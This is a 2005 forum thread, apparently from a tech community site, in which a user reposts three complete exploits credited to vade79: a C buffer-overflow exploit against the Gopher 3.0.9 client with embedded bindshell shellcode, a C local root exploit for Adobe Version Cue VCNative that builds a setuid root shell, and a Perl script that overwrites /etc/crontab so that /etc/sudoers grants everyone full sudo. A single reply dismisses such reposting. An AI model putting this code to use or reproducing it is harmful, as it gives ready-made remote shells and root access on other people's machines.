RemoteConnection
Oct 6 2005, 01:17 AM
:: Gopher <= 3.0.9 "VIEWS" Remote (Client Side) Buffer Overflow Exploit CODE /*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ] * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * compile: * gcc xgopher-client.c -o xgopher-client * * syntax: * ./xgopher-client <port> [bindshell port] * * The Internet Gopher Client is based on the UMN * Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology * that predates the Web. It presents information as a virtual * network-wide filesystem. Modern browsers such as Konqueror * can display gopherspace as if it contained files on your * local machine (trees, drag and drop, etc.), but the * difference is that each file or folder in that tree may be * on a different machine. * * this client contains a remotely exploitable buffer overflow * in the processing of "+VIEWS:" information, located in * SRC/object/VIews.c in the VIfromLine() function. * * this is a stack overflow that can be exploited immediately * upon the client's connection to an untrusted gopher server. * while this is a stack overflow, exploitation of this * overflow is not completely standard, and special values * will be needed for it to work. (see the first three DEFINEs * below) * * i made this simply to be sure it was possible to exploit, * tested successfully on mandrake/9.2 with gopher/3.0.9 * compiled from source. ***************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <signal.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h>
/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */
/* this needs to be replaced as a null-byte will overwrite it. this */ /* can be found in gdb using a trial-run of the exploit. */ /* (gdb) break VIfromLine */ /* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */ /* (gdb) run server-running-this-exploit.com 70 */ /* ... */ /* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */ /* -----------------------------^^^^^^^^^ */ /* ... */ #define REPLACE_VI_ADDR 0x08074f08
/* where the shellcode is located. you can use a trial-run to get */ /* this as well, run "objdump -s <core> | grep 90909090" on the */ /* core file, and choose something in the middle of all the */ /* 0xbfff???? addresses dumped. */ #define RET_ADDR 0xbfffe910
/* guess time; try between 0-12, not likely to be anything */ /* higher than that. */ #define PLACEMENT_OFFSET 7
/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */ #define BUFSIZE 500 #define DFL_BINDSHELL_PORT 7979 #define TIMEOUT 10
static char x86_exec[]= /* bindshell, from netric. */ "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89" "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52" "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80";
/* prototypes. */ unsigned char *getcode(void); char *gopherd_bind(unsigned short); void getshell(char *,unsigned short); void printe(char *,short); void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */ int main(int argc,char **argv){ unsigned short port=0,sport=DFL_BINDSHELL_PORT; char *hostptr; printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp" "loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n"); if(argc<2){ printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]); exit(1); } port=atoi(argv[1]); if(argc>2)sport=atoi(argv[2]);
/* set the port to bind to in the shellcode. */ x86_exec[20]=(sport&0xff00)>>8; x86_exec[21]=(sport&0x00ff);
/* verbose values display. */ printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR); printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR); printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n", PLACEMENT_OFFSET,PLACEMENT_OFFSET*4); printf("[*] server port\t\t\t\t: %u\n",port); printf("[*] bindshell port\t\t\t: %u\n\n",sport);
/* wait for a connection and send overflow. */ hostptr=gopherd_bind(port);
/* be safe, and give it time to run. */ sleep(3);
/* see if a shell spawned. */ getshell(hostptr,sport);
exit(0); } /* this is what fills the buffer that will be overflown. (tmpstr[256]) */ unsigned char *getcode(void){ unsigned char *buf; if(!(buf=(unsigned char *)malloc(BUFSIZE+1))) printe("getcode(): allocating memory failed.",1);
/* make everything nops, and overwrite where needed. */ memset(buf,0x90,BUFSIZE);
/* this gives more NOP/guessing room. if it hits before the addresses, */ /* it will jump over them to get to the shellcode. (jumps 8 bytes) */ buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */ buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */
/* return address. */ *(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;
/* the replacement value will be right after the new return address. */ /* (this is needed because a null-byte will corrupt it, and fault */ /* where not desired) */ *(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;
/* add shellcode to the end of the buffer. */ memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec)); return(buf); } char *gopherd_bind(unsigned short port){ int ssock=0,sock=0,so=1; unsigned int salen=0; char pseudobuf[2]; struct sockaddr_in ssa,sa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; printf("[*] awaiting connection from: *:%d.\n",port); if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,1); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); close(ssock); printf("[*] gopher server connection established.\n");
/* not really needed, but i feel better with it waiting for it. */ printf("[*] waiting for <any> request/data...\n"); read(sock,pseudobuf,1); printf("[*] received request/data, sending overflow.\n");
/* setup the precursor to cause the overflow. */ write(sock,"+-1\n",4); write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36); write(sock,"+VIEWS:\t\n ",10);
/* the overflow. */ write(sock,getcode(),BUFSIZE); write(sock,"\n",1);
sleep(1); close(sock); printf("[*] gopher server connection closed.\n"); return(inet_ntoa(sa.sin_addr)); } void getshell(char *hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096+1]; struct hostent *he; struct sockaddr_in sa; printf("[*] checking to see if the exploit was successful.\n"); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) printe("getshell(): socket() failed.",1); sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))) printe("getshell(): couldn't resolve.",1); memcpy((char *)&sa.sin_addr,(char *)he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); alarm(TIMEOUT); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d.\n",hostname,port); return; } alarm(0); printf("[*] successfully connected: %s:%d.\n\n",hostname,port); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id\n",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1) printe("getshell(): select() failed.",1); if(FD_ISSET(0,&fds)){ if((r=read(0,buf,4096))<1) printe("getshell(): read() failed.",1); if(write(sock,buf,r)!=r) printe("getshell(): write() failed.",1); } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,4096))<1) exit(0); write(1,buf,r); } } close(sock); return; } void printe(char *err,short e){ printf("[!] %s\n",err); if(e) exit(1); return; }
Reply
RemoteConnection
Oct 6 2005, 01:20 AM
:: Adobe Version Cue "-lib" Command-line Option Local Root Exploit CODE
/*[ Adobe Version Cue VCNative[OSX]: local root exploit. (dyld) ] * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * Adobe Version Cue's VCNative program allows un-privileged * local users to load arbitrary libraries("bundles") while * running setuid root. this is done via the "-lib" * command-line option. * * note: VCNative must connect to a valid host to be able * to get to the point where the library is loaded. this is * automated in this exploit by listening to an arbitrary local * port and using the localhost("127.0.0.1") to connect to. *****************************************************************/
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <signal.h> #include <unistd.h> #include <netdb.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h>
#define VCNATIVE_PATH "/Applications/Adobe Version Cue/tomcat/webapps"\ "/ROOT/WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative" #define VCNATIVE_PORT 7979 #define CC_PATH "/usr/bin/gcc" #define BUNDLE_PATH "/tmp/xvcn_lib" #define SUSH_PATH "/tmp/xvcn_sush"
void printe(char *,signed char);
int main(){ signed int sock=0,so=1; char syscmd[4096+1]; struct stat mod; struct sockaddr_in sa; FILE *bundle,*sush; /* banner. */ printf("[*] Adobe Version Cue VCNative[OSX]: local root exploit. (dy" "ld)\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n"); /* see if we have what we need. */ if(access(CC_PATH,X_OK)) printe("incorrect gcc/cc path. (CC_PATH)",1); if(stat(VCNATIVE_PATH,&mod)) printe("incorrect VCNative path. (VCNATIVE_PATH)",1); if(!(S_ISUID&mod.st_mode)) printe("VCNative is not setuid. (VCNATIVE_PATH)",1); /* appease VCNative's initial connection to load the library. */ sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(sock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif sa.sin_family=AF_INET; sa.sin_port=htons(VCNATIVE_PORT); sa.sin_addr.s_addr=INADDR_ANY; printf("[*] opening local port: %u.\n",VCNATIVE_PORT); if(bind(sock,(struct sockaddr *)&sa,sizeof(sa))==-1) printe("could not bind socket.",1); listen(sock,1); /* make the bogus library/bundle. */ if(!(bundle=fopen(BUNDLE_PATH ".c","w"))) printe("could not write to bundle source file.",1); fprintf(bundle,"void VCLibraryInit(){\n"); fprintf(bundle," seteuid(0);\n"); fprintf(bundle," setuid(0);\n"); fprintf(bundle," setegid(0);\n"); fprintf(bundle," setgid(0);\n"); fprintf(bundle," chown(\"" SUSH_PATH "\",0,0);\n"); fprintf(bundle," chmod(\"" SUSH_PATH "\",3145);\n"); fprintf(bundle,"}\n"); fprintf(bundle,"void VCLibraryExec(){}\n"); fprintf(bundle,"void VCLibraryExit(){}\n"); fclose(bundle); /* make the (to-be) rootshell. */ if(!(sush=fopen(SUSH_PATH ".c","w"))) printe("could not write to sush/rootshell source file.",1); fprintf(sush,"int main(){\n"); fprintf(sush," seteuid(0);\n"); fprintf(sush," setuid(0);\n"); fprintf(sush," setegid(0);\n"); fprintf(sush," setgid(0);\n"); fprintf(sush," execl(\"/bin/sh\",\"sh\",0);\n"); fprintf(sush,"}\n"); fclose(sush); /* compile the bogus library/bundle. */ snprintf(syscmd,4096,"%s %s.c -bundle -o %s.bundle",CC_PATH, BUNDLE_PATH,BUNDLE_PATH); printf("[*] system: %s\n",syscmd); system(syscmd); /* compile the (to-be) rootshell. */ snprintf(syscmd,4096,"%s %s.c -o %s",CC_PATH, SUSH_PATH,SUSH_PATH); printf("[*] system: %s\n",syscmd); system(syscmd); /* run VCNative. (".bundle" is appended to the library path) */ snprintf(syscmd,4096,"\"%s\" -host 127.0.0.1 -port %u -lib %s", VCNATIVE_PATH,VCNATIVE_PORT,BUNDLE_PATH); printf("[*] system: %s\n",syscmd); system(syscmd); /* clean-up. */ unlink(BUNDLE_PATH ".c"); unlink(BUNDLE_PATH ".bundle"); unlink(SUSH_PATH ".c"); shutdown(sock,2); close(sock); /* check for success. */ if(stat(SUSH_PATH,&mod)) printe("sush/rootshell vanished? (SUSH_PATH)",1); if(!(S_ISUID&mod.st_mode)||mod.st_uid){ unlink(SUSH_PATH); printe("sush/rootshell is not setuid root, exploit failed.",1); } /* success. */ printf("[*] attempting to execute rootshell... (" SUSH_PATH ")\n\n"); system(SUSH_PATH); exit(0); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; }
Reply
RemoteConnection
Oct 6 2005, 01:22 AM
:: Adobe Version Cue VCNative Predictable Log Filename Local Root Exploit CODE #!/usr/bin/perl # # Adobe Version Cue VCNative[OSX]: local root exploit. # # by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) # # Adobe Version Cue's VCNative program writes data to a log file in # the current working directory while running as (setuid) root. the # logfile is formated as <cwd>/VCNative-<pid>.log, which is easily # predictable. you may link this file to any file on the system # and overwrite its contents. use of the "-host" option (with # "-port") will allow user-supplied data to be injected into the # file. # # This exploit works by overwriting /etc/crontab with # '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and # log garbage. within a short period of time crontab will overwrite # /etc/sudoers and "sudo sh" to root is possible. this method is used # because direct overwriting of /etc/sudoers will cause sudo to exit # with configuration errors due to the log garbage, whereas crontab # will ignore it. (this exploit requires both cron to be running and # sudo to exist--this is generally default osx)
use POSIX;
$vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" . "WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative"; $vcn_pid=($$ + 1); $vcn_cwd="/tmp"; $vcn_tempfile="$vcn_cwd/VCNative-$vcn_pid\.log"; $ovrfile="/etc/crontab"; $ovrstr="* * * * * root echo \\\"ALL ALL=(ALL) ALL\\\">/etc/sudoers";
sub pexit{print("[!] @_.\n");exit(1);} print("[*] Adobe Version Cue VCNative[OSX]: local root exploit.\n"); print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n"); if(!-f $vcn_path){ pexit("VCNative binary doesn't appear to exist"); } if(!-f"/etc/crontab"||!-f"/etc/sudoers"){ pexit("/etc/crontab and /etc/sudoers are required for this to work"); } print("[*] sym-linking $ovrfile -> $vcn_tempfile.\n"); symlink($ovrfile,$vcn_tempfile)||pexit("couldn't link files."); @ast=stat($ovrfile); print("[*] running VCNative...\n"); system("\"$vcn_path\" -cwd $vcn_cwd -port 1 -host \"\n\n$ovrstr\n\n\""); print("[*] removing $vcn_tempfile...\n"); unlink($vcn_tempfile); @st=stat($ovrfile); if($st[7]==$ast[7]&&$st[9]==$ast[9]){ pexit("$ovrfile was not modified, exploit failed"); } else{ print("[*] $ovrfile was overwritten successfully...\n"); } print("[*] waiting for crontab to change /etc/sudoers...\n"); @ast=@st=stat("/etc/sudoers"); while($st[7]==$ast[7]&&$st[9]==$ast[9]){ sleep(1); @ast=stat("/etc/sudoers"); } print("[*] /etc/sudoers has been modified.\n"); print("[*] attempting to \"sudo sh\". (use YOUR password)\n"); system("sudo sh"); exit(0);
Reply
Spectre
Oct 9 2005, 03:30 AM
No offense intended, but this is pointless and 'lame'. The way I see it, where exploits and vulnerabilities are concerned, there are two kinds of people - the ones that scour the Internet for exploits other people have written and then try and find hosts vulnerable to that exploit so they can prove how incredibly good they are, and the ones that find a specific host they wish to target and then attempt to discover any vulnerabilities for themselves and exploit them accordingly. I'm sure you can figure out which one would be considered a 'script kiddie'. But, you're obviously free to post all the proof of concept code you wish (provided you give credit where due, of course).
Reply
Recent Queries:--
vb6 keybd_event vk_return - 1289.29 hr back. (1)
-
"what is it" adobe version cue client - 1390.34 hr back. (1)
-
pexit 2.3.1 - 1458.16 hr back. (1)
Similar Topics
Keywords : exploits, refrence, source, codes, net
- Brand New Security Holes Found And Patch On This Month Updates And Office Exploits
(0)
Javascript Postamble(); What Is It?
when viewing a web source code it appears (5) I was paranoid! After all that cleaning my computer from spyware I realized the following codes
were showing up constantly (everywhere I go) when I viewed a page source. Just before ends HTML
javascript ' src=' http://127.0.0.1:****/js.cgi?pca&r=***** '> /script > And after
HTML javascript '>postamble(); /script > WHAT DA HECK IS IT?? It looks like some java
script was calling from within my computer and *'s were changing constantly with each time I
refreshed a webpage for a source code. After few hours of searching, I found a ....
Gmail And Orkut Exploits
(2) i want to know wather they are any expoits and hacking techniques for gmail or orkut and if they are
any then what are they and how to protect ourselfs from them.....
S Si/e Found In Source Of Word-created Web Pages!
URGENT ATTENTION REQUIRED if using word! (8) Major Security Issue Exists in Source of Word-Created Web pages! This is an URGENT news
bulletin to anyone who owns a website!!! Problem: A serious security exploit exists in the source
of these documents that allows anyone who is able to view the source of the page to gain personally
identifiable information relevant to the document. This is due to Microsoft Word's method of
dealing with web pages - Microsoft Word, despite being able to create Web Pages/Templates, does not
actually understand their format, and so it stores the Word program data into the ....
Fix To Problem: Open Source
(5) I've used various Open-source programs over time. I used Knoppix to revive an almost-dead
computer; 7-Zip to open .tar.gz files under Window$; and the Mambo CMS under PHP, Apache and Linux
for my web site. I've found most open-source programs to be faster, leaner and easie to use than
their commercial counterparts. Here's my reccomendation: use open-source software. Bugs are
patched faster, there have more features, and much lower price tags (actually, free). You might
have to do a little research to find these products; but once you do, they are worth the w....
Critical Firefox Exploits
How fast can they fix it... (16) Again 2 critical vulnerabilities where discovered/made public last weekend. Critical because
there's no patch yet.... a workaround is to disable javascript... This will be a nice test...
How fast can they fix it? Greetz, Rik©....
Phpbb Exploit
PhbBB exploits unleashed! (5) /laugh.gif' border='0' style='vertical-align:middle' alt='laugh.gif' /> hello Oh !!!!! agian
PHPBB exploits & bugs phpbb team must /laugh.gif' border='0' style='vertical-align:middle'
alt='laugh.gif' /> dead check here http://k-otik.com/exploits/20050228.phpbbsession.c.php
/wink.gif' border='0' style='vertical-align:middle' alt='wink.gif' /> for more security use IPB OR
VBULLETIN /unsure.gif' border='0' style='vertical-align:middle' alt='unsure.gif' /> Thanks Best
REgars , liridonahm EDIT : PHPBB EXPLOITS, Trap17 is not responsible for consequences due....
Looking for exploits, refrence, source, codes, net
|
*SIMILAR VIDEOS*
Searching Video's for exploits, refrence, source, codes, net
*MORE FROM TRAP17.COM*
|
advertisement
|
|